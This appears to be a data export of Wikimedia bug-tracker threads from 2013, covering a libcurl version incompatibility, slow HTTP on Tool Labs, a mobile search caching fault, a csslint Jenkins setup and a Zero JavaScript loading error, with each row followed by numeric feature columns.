+272598,CurlHttpRequest fails with curl < 7.16.2,"[No codefix in MediaWiki code, hence changing resolution to WORKSFORME]",,,1386590299,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+272591,CurlHttpRequest fails with curl < 7.16.2,"**slboat** wrote:
+
+thx!it had be fix,after recompile the php-curl,and update the curl 7.33.0",,,1386571765,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+272585,CurlHttpRequest fails with curl < 7.16.2,"(In reply to comment #3)
+> It sounds like you need to update either your version of PHP or your php-curl
+> module. According http://www.php.net/curl_setopt the
+> CURLOPT_CONNECTTIMEOUT_MS
+> constant was added in cURL 7.16.2 and has been available in PHP since 5.2.3.
+> Since MediaWiki requires PHP 5.3.2, there's no reason you shouldn't have that
+> constant available.
+
+Not the PHP extension, but rather libcurl itself -- the PHP extension may have been compiled against an old version of the library. In that case, the constant could be missing. From ext/curl/interface.c in PHP 5.3 (similar code exists even in newer PHP versions):
+
+#if LIBCURL_VERSION_NUM > 0x071002
+        REGISTER_CURL_CONSTANT(CURLOPT_CONNECTTIMEOUT_MS);
+#endif",,,1386522726,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1
+272578,CurlHttpRequest fails with curl < 7.16.2,"**slboat** wrote:
+
+hmm,i will have a try,thx!
+
+maybe mw can make a error log:""you curl version is too low,plz upgrade""?",,,1386522360,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0
+272571,CurlHttpRequest fails with curl < 7.16.2,"It sounds like you need to update either your version of PHP or your php-curl module. According http://www.php.net/curl_setopt the CURLOPT_CONNECTTIMEOUT_MS constant was added in cURL 7.16.2 and has been available in PHP since 5.2.3. Since MediaWiki requires PHP 5.3.2, there's no reason you shouldn't have that constant available.",,,1386520203,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+272564,CurlHttpRequest fails with curl < 7.16.2,"**slboat** wrote:
+
+(In reply to comment #1)
+> and i always got this,i dont know it's my code problem or the mw,it's been
+> work
+> good before V1.22
+> 
+> 
+> 
+> 
+>  PHP Warning:  curl_setopt_array() [<a
+> href='function.curl-setopt-array'>function.curl-setopt-array</a>]: Array keys
+> must be CURLOPT constants or equivalent integer values in
+> /w/includes/HttpFunctions.php on line 771
+> 
+> here is my code:
+> 
+>         $authUrl =
+> ""https://datamarket.accesscontrol.windows.net/v2/OAuth2-13/""; //验证地址
+> 
+>         $options = array(); //看起来定义它是必要的
+>         $options['method']   = 'POST';
+>         $options['timeout']  = $this->config['timeout'];
+> //有趣的是，在class里看起来是共享的
+>         $options['postData'] = array(
+>             'grant_type' => ""client_credentials"", //验证地址
+>             'scope' => ""http://api.microsofttranslator.com"",
+> //使用范围，因为这套api看起来是很全面的玩意
+>             'client_id' => $clientID,
+>             'client_secret' => $clientSecret
+>         );
+> 
+>         wfErrorLog('工厂构造'.serialize($options), '/tmp/wm.log' ); //调试信息
+> 
+>         $req = MWHttpRequest::factory($authUrl, $options);
+
+        wfErrorLog('开始请求\n', '/tmp/wm.log' ); //调试信息        
+
+        $status = $req->execute(); //看起来死在这里,问题是选项啥的",,,1386498617,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+272557,CurlHttpRequest fails with curl < 7.16.2,"**slboat** wrote:
+
+and i always got this,i dont know it's my code problem or the mw,it's been work good before V1.22
+
+
+
+
+ PHP Warning:  curl_setopt_array() [<a href='function.curl-setopt-array'>function.curl-setopt-array</a>]: Array keys must be CURLOPT constants or equivalent integer values in /w/includes/HttpFunctions.php on line 771
+
+here is my code:
+
+        $authUrl = ""https://datamarket.accesscontrol.windows.net/v2/OAuth2-13/""; //验证地址
+        
+        $options = array(); //看起来定义它是必要的
+        $options['method']   = 'POST';
+        $options['timeout']  = $this->config['timeout']; //有趣的是，在class里看起来是共享的
+        $options['postData'] = array(
+            'grant_type' => ""client_credentials"", //验证地址
+            'scope' => ""http://api.microsofttranslator.com"", //使用范围，因为这套api看起来是很全面的玩意
+            'client_id' => $clientID,
+            'client_secret' => $clientSecret
+        );
+
+        wfErrorLog('工厂构造'.serialize($options), '/tmp/wm.log' ); //调试信息
+
+        $req = MWHttpRequest::factory($authUrl, $options);",,,1386498574,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+59968,Tool Labs is very slow when browsing with non-HTTPS,"https://tools.wmflabs.org is fine
+
+http://tools.wmflabs.org is very slow (~45 seconds to load the page)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57988",Needs Triage,90.0,1386153960,1386197067.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-wb2gzsfi5v7menlq45me,task_description,resolved,True,c3,1,True,False,True,-83,True,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+260124,Tool Labs is very slow when browsing with non-HTTPS,The issue has now been solved.,,,1386197067,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-wb2gzsfi5v7menlq45me,task_subcomment,,True,c3,1,True,,,-83,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+260115,Tool Labs is very slow when browsing with non-HTTPS,See http://lists.wikimedia.org/pipermail/labs-l/2013-December/001907.html,,,1386181424,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wb2gzsfi5v7menlq45me,task_subcomment,,True,c3,1,True,,,-83,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1
+59934,Search not working for mobile over http for Firefox on test2wiki,"Seen in Firefox:
+
+http://test2.m.wikipedia.org/wiki/Main_Page or http://test2.m.wikipedia.org/wiki/Main_Page?useformat=mobile
+
+Type 'bara' into the search box. 
+
+Barack Obama page suggestion should appear, but page says explicitly that no results are found.
+
+Search works correctly from https:  https://test2.m.wikipedia.org
+
+Notes: 
+
+* Search works correctly on beta labs from http URL http://en.m.wikipedia.beta.wmflabs.org/wiki/Main_Page?useformat=mobile
+
+* Search works correctly in production from http URL http://en.m.wikipedia.org
+
+* http://test2.m.wikipedia.org redirects to https for Chrome (and search works correctly) but not for Firefox
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1386093300,1386184801.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-n2nhiykqm6fym4gqupcm,task_description,resolved,True,c3,1,False,False,True,-83,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+258338,Search not working for mobile over http for Firefox on test2wiki,I feel like we can safely close this - the OP issue appears to be gone. I just tried and could no longer replicate with 'bara'. Iirc the cache entry expired Dec 4 ~1800 GMT. New response headers from 'bara' search show cache entry refreshed Dec 4 ~1900 GMT and expires Dec 5 ~1900GMT. I have a high level of confidence that a bad response/error was cached and was causing the problem. Marking as closed but feel free to reopen if issue resurfaces.,,,1386184801,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+258334,Search not working for mobile over http for Firefox on test2wiki,Arthur is looking into this so marking as assigned.,,,1386182871,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,True,,,-83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+258331,Search not working for mobile over http for Firefox on test2wiki,"After chatting a bit with Nik in IRC, I'm becoming more convinced this is a caching issue. I'm able to replicate the OP's issue in firefox as a logged out user, but if I log in, search behaves as expected. When I log out and try to search, things work as expected (presumably caching is varied on one, some or all of the cookies that linger after logging out).
+
+I looked at the network requests, and sure enough the failing 'bara' search string results in a cache hit while the others result in a miss. So likely an error or otherwise bad result got stuck in the cache.
+
+Chris, what search term(s) did you try on mediawiki.org?",,,1386121212,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,False,,,-83,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+258327,Search not working for mobile over http for Firefox on test2wiki,"I had a look at this and it is certainly not caused by cirrussearch.
+
+I know it isn't caused by CirrusSearch because digging into this caused me to see that Cirrus isn't enabled _anywhere_.  This is a mistake and we'll get it back enabled on test2wiki in a bit.
+
+It does seem to be specific to the word ""bara"" though.  ""bar"" and ""barac"" both find him.  This could be complicated by caching.....",,,1386103281,,PHID-USER-2rnfxoezl66afpa7w7in,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+258321,Search not working for mobile over http for Firefox on test2wiki,also see this issue at at https://m.mediawiki.org for both Firefox/http and Chrome/https,,,1386101823,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+258317,Search not working for mobile over http for Firefox on test2wiki,"Interestingly searching for ""Bara"" works but ""bara"" doesn't.
+
+http://test2.m.wikipedia.org/w/api.php?format=json&search=bara&action=opensearch&namespace=0&limit=15
+On Firefox returns [""bara"",[]] in response
+On Chrome returns [""bara"",[""Barack Obama""]] in response
+
+Why would the response differ on user agent?! This is server side!?!",,,1386094541,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,True,,,-83,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,1
+258311,Search not working for mobile over http for Firefox on test2wiki,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1477",,,1386093388,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+59899,Jenkins: Install node-csslint,"Also, set up initial jobs for projects that already use csslint in their local-dev Gruntfile (oojs-ui and visualeditor at the moment).
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1386027300,1390847427.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-poin5yyszgpyi25gk3je,task_description,resolved,True,c3,1,True,False,True,-83,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+280619,Jenkins: Install node-csslint,"(In reply to comment #5)
+> Does that also lint less or is there a extra tool?
+
+No, we don't yet use cssslint in mediawiki-core (current code doesn't pass) and neither does it validate LESS in any way.",,,1390847473,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,True,,,-75,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1,0,0,1,0,1
+280617,Jenkins: Install node-csslint,"This has been installed, deployed and is now also actively used by various projects.
+
+In the main 'test' pipelines, however, this is no longer used as we have since migrated to using npm-test (from package.json) directly by installing it in a virtual machine in labs and executing it as specified by the source repository (instead of the install provided by Jenkins).",,,1390847427,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,True,,,-75,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+280616,Jenkins: Install node-csslint,Does that also lint less or is there a extra tool?,,,1386359787,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0
+280613,Jenkins: Install node-csslint,"Change 98868 merged by Krinkle:
+Create macro for csslint and use in oojs-ui and VisualEditor
+
+https://gerrit.wikimedia.org/r/98868",,,1386099008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+280610,Jenkins: Install node-csslint,"Change 98868 had a related patch set uploaded by Krinkle:
+Create macro for csslint and use in oojs-ui and VisualEditor
+
+https://gerrit.wikimedia.org/r/98868",,,1386098003,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+280605,Jenkins: Install node-csslint,"Change 98722 merged by jenkins-bot:
+Install Grunt plugin for csslint
+
+https://gerrit.wikimedia.org/r/98722",,,1386028242,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+280600,Jenkins: Install node-csslint,"Change 98722 had a related patch set uploaded by Krinkle:
+Install Grunt plugin for csslint
+
+https://gerrit.wikimedia.org/r/98722",,,1386027315,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+59624,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"https://m.mediawiki.org/wiki/Special:UserLogin
+
+Exception thrown by mobile.issues.beta load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2Cl…:145
+Error: Template not found: overlays/cleanup Error {} load.php?d
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1385504520,1386181898.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-zckfoj72hmkauqbmxgnj,task_description,resolved,True,c3,1,True,False,True,-84,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+264903,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Change 99027 merged by jenkins-bot:
+Bug 57624: proper js resource loading in zero
+
+https://gerrit.wikimedia.org/r/99027",,,1386180058,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264898,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Change 99027 had a related patch set uploaded by Yurik:
+Bug 57624: proper js resource loading in zero
+
+https://gerrit.wikimedia.org/r/99027",,,1386129953,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+264892,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Looks like an issue with Zero.
+'class' => 'MFResourceLoaderModule',
+
+
+Several issues:
+1) mobile.zero.scripts and mobile.zero.templates can now be merged into one module specifying:
+'class' => 'MFResourceLoaderModule',
+2) Explicitly add to dependencies for this module: 'mobile.templates'
+
+Basically what is happening is the code for templates is not being loaded before the template is added.",,,1386094070,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,True,,,-83,True,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
+264887,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Created attachment 13966
+Errors in action
+
+**Attached**: {F12200}",,,1386033965,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+264882,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"From IRC:
+
+yurik-road:
+awjr, seems like i can still repo it - https://en.m.wikipedia.org/wiki/New_York?debug=true -- and make sure you spoof X-CS=250-99 and User-Agent=android
+
+I can verify - after setting my x-cs headers, I was able to trigger the error. Is this a zero bug though rather than mobilefrontend?
+
+See attached screenshot.",,,1386033939,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+264878,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},Yuri - how are you replicating this and on what wiki?,,,1386006797,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,True,,,-83,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+264874,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},*** Bug 57766 has been marked as a duplicate of this bug. ***,,,1386006730,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,True,,,-83,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+264870,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},Cannot replicate.,,,1385594306,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,True,,,-84,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+264864,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"**bingle-admin** wrote:
+
